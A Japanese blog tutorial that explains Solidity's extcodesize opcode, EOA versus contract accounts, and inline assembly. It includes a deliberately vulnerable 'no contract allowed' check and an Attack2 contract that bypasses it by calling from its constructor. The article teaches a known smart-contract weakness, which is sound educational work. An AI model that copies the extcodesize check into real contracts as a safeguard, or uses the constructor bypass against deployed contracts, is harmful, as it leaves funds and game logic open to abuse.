こんにちは!CryptoGamesというブロックチェーンゲーム企業でエンジニアをしているかるでねです!
スマートコントラクトを書いたり、フロントエンド・バックエンド・インフラと幅広く触れています。
このブログ以外でも情報発信しているので、よければ他の記事も見ていってください。
https://mirror.xyz/0xcE77b9fCd390847627c84359fC1Bc02fC78f0e58
今回は「extcodesize」についてとその脆弱性について解説していきます!
「extcodesize」自体そもそも初めて聞いたという人も多いと思います。
あまり使われているのを見かけないものですが、Solidityの基礎を学習し終えた人は知っておいて損はないものです。
Solidityスキルを1段階あげたい方やバグ・バウンティに参加したいバグハンターを目指している方は必須の知識となるので、この記事で学んでいってください。
バグ・バウンティが何かわからない人は以下の記事を読んでください。
extcodesizeとは
Solidityでは、外部(EOA)アカウントアドレスかコントラクトアカウントアドレスかチェックするために、extcodesize
を使用して確認する方法があります。
EOAアカウント
EOAアカウントとは、ユーザーが所有するアカウントでブロックチェーンの外にあります。
秘密鍵によって制御されていて、「0x
」から始まるアドレスを持つメタマスクなどのウォレットのアドレスと認識するとイメージしやすいです。
コントラクトアカウント
もう1つのコントラクトアカウントは、スマートコントラクトのコードを所有しているものです。
Solidityなどでコードを書いて作成されたコントラクトにも、それぞれのコントラクトごとにアドレスが存在します。
コントラクトアカウントは秘密鍵を所有していないため、スマートコントラクトによって制御されます。
extcodesize
extcodesize
は、あるアドレスのコードのサイズを返す関数です。
そのため、コントラクトアカウントのアドレスであれば1
以上の値を返し、EOAアカウントのアドレスであればコードがないため0
を返します。
そのため、extcodesize
を使用することで、あるアドレスがEOAアカウントのアドレスなのか、コントラクトアカウントのアドレスなのかをチェックすることができます。
チェックすることでどんなメリットがあるか疑問に思う人もいると思います。
例えば、EOAアカウントにのみ処理の実行を許可し、コントラクトアカウントには処理を実行させたくない場合に使用することができます。
他のコントラクトとやり取りをさせたくない場合に役立ちます。
extcodesizeの実装
extcodesize
の概要について確認できたので、実際に実装して動きを確認していきましょう!
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Codesize {
// コードのサイズチェック結果が格納される。
uint public sizeCheck;
/// @notice コードのサイズチェックを行う関数。
function checkCodeSize(address _address) public {
uint size;
assembly {
size := extcodesize(_address)
}
sizeCheck = size;
}
}
contract ContractAccount {
}
上記の12~14行目でextcodesizeを使用してコードサイズをチェックしています。
Assembly
assembly
という見慣れないものが使用されていますね。
これは、コンピュータのCPUが直接解釈・実行できる機械語と1対1で対応したプログラミング言語であるアセンブリ言語を、Solidity内で実装している部分になります(「インライン・アセンブリ」と言います)。
アセンブリ言語を使用することで、以下のメリットがあります。
メリット
- コンパイラの制約を無視した実装ができる。
- ガス代が節約できる。
- アセンブリ言語でしかできない操作を行える。
今回は3つ目の「アセンブリ言語でしかできない操作を行える」ということの実現のために使用しています。
アセンブリについて詳しくは以下を参考にしてください。
https://solidity-jp.readthedocs.io/ja/latest/assembly.html
実行
では実行してみましょう。
2つのEOAアカウントのアドレスをcheckCodeSize
関数に渡しても、sizeCheck
変数の値は0
のままです。
しかし、ContractAccountコントラクトのアドレスをcheckCodeSize
関数に渡すと63
という値がsizeCheck
変数に格納されました。
前章で述べたように、コントラクトアカウントのアドレスのときは1
以上の値が返ってきて、EOAアカウントのアドレスのときは0
が返ってきているのが確認できました。
extcodesizeの脆弱性
実は、便利そうで危ない面もなさそうなextcodesize
にも脆弱性があります。
脆弱性の説明
それはコントラクト作成時であれば、コントラクト内のコードがまだ作成中のためextcodesize
を実行しても0
を返してしまうという点です。
そのため、あたかもEOAアカウントアドレスのような判定結果になってしまうのです。
コード解説
Codesize
contract Codesize {
bool public isEOA;
/// @notice コードのサイズチェックを行う関数。
function isContract(address _accountAddress) public view returns (bool) {
uint size;
assembly {
size := extcodesize(_accountAddress)
}
return size > 0;
}
/// @notice isContract関数を実行して、EOAアカウントのアドレスかチェック。
/// EOAアカウントのアドレスであれば、isEOA変数にtrueを格納。
function checkAddress() public {
require(!isContract(msg.sender), "no contract allowed");
isEOA = true;
}
}
isContract
引数で渡されたアドレスがEOAアカウントのアドレスかコントラクトアカウントのアドレスかをチェックする関数。
checkAddress
isContract
関数を呼び出し、EOAアカウントのアドレスであればisEOA
変数にtrue
を格納し、コントラクトアカウントのアドレスであればエラーを返す関数。
Attack1
contract Attack1 {
/// @notice CodesizeコントラクトのcheckAddress関数を実行する関数。
/// コントラクトアカウントのため実行に失敗する。
function hack(address _targetAddress) external {
Codesize(_targetAddress).checkAddress();
}
}
hack
CodesizeコントラクトのcheckAddress
関数を実行する関数。
コントラクトアカウントのアドレスのためエラーが出力される。
Attack2
contract Attack2 {
bool public isContract;
address public addr;
// デプロイ時に呼ばれる。
//
constructor(address _targetAddress) {
isContract = Codesize(_targetAddress).isContract(address(this));
addr = address(this);
Codesize(_targetAddress).checkAddress();
}
}
コントラクト作成時にCodesizeコントラクトのisContract
関数とcheckAddress
関数を実行するコントラクト。
コントラクト作成時に実行しているため、コードが生成されていないため、isContract
関数ではコードサイズ0
と判定される。
実行
では早速実行してみましょう。
Attack1コントラクトが実行に失敗しているのが確認できました。
次に実行したAttack2コントラクトをデプロイすると、Codesizeコントラクト内のisEOA
変数にtrue
が格納されていて、extcodesize
が0
という値を返していることが確認できます。
Attack2コントラクト内のisContract
変数にはfalseが格納されているのは、CodesizeコントラクトのisContract
関数はextcodesize
が1
以上の値を返した場合true
を戻り値として返しているためです。
コード
コード全体は以下になります。
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Codesize {
bool public isEOA;
/// @notice コードのサイズチェックを行う関数。
function isContract(address _accountAddress) public view returns (bool) {
uint size;
assembly {
size := extcodesize(_accountAddress)
}
return size > 0;
}
/// @notice isContract関数を実行して、EOAアカウントのアドレスかチェック。
/// EOAアカウントのアドレスであれば、isEOA変数にtrueを格納。
function checkAddress() public {
require(!isContract(msg.sender), "no contract allowed");
isEOA = true;
}
}
contract Attack1 {
/// @notice CodesizeコントラクトのcheckAddress関数を実行する関数。
/// コントラクトアカウントのため実行に失敗する。
function hack(address _targetAddress) external {
Codesize(_targetAddress).checkAddress();
}
}
contract Attack2 {
bool public isContract;
address public addr;
// デプロイ時に呼ばれる。
//
constructor(address _targetAddress) {
isContract = Codesize(_targetAddress).isContract(address(this));
addr = address(this);
Codesize(_targetAddress).checkAddress();
}
}
最後に
今回は「extcodesize」についてとその脆弱性について解説してきました!
いかがだったでしょうか?
ちょっと難しい内容だったと思うので何回か読み返したり、ぜひ自分でも実行してみて理解を深めてください!
ポイント
- 「extcodesizeが何か理解できた!」
- 「extcodesizeの使い方を理解できた!」
- 「extcodesizeの脆弱性を理解できた!」
上記理解できていたら嬉しいです!
もし何か質問などがあれば以下のTwitterなどから連絡ください!
普段はSolidityやブロックチェーン、Web3についての情報発信をしています。
Twiiterでは気になった記事などを共有しているので、ぜひフォローしてくれると嬉しいです!
参考
https://pol.techtec.world/blockchain-usecase/ethereum/ethereum-account-transaction
https://coinsbench.com/contract-with-zero-code-size-hack-solidity-14-20360e06d778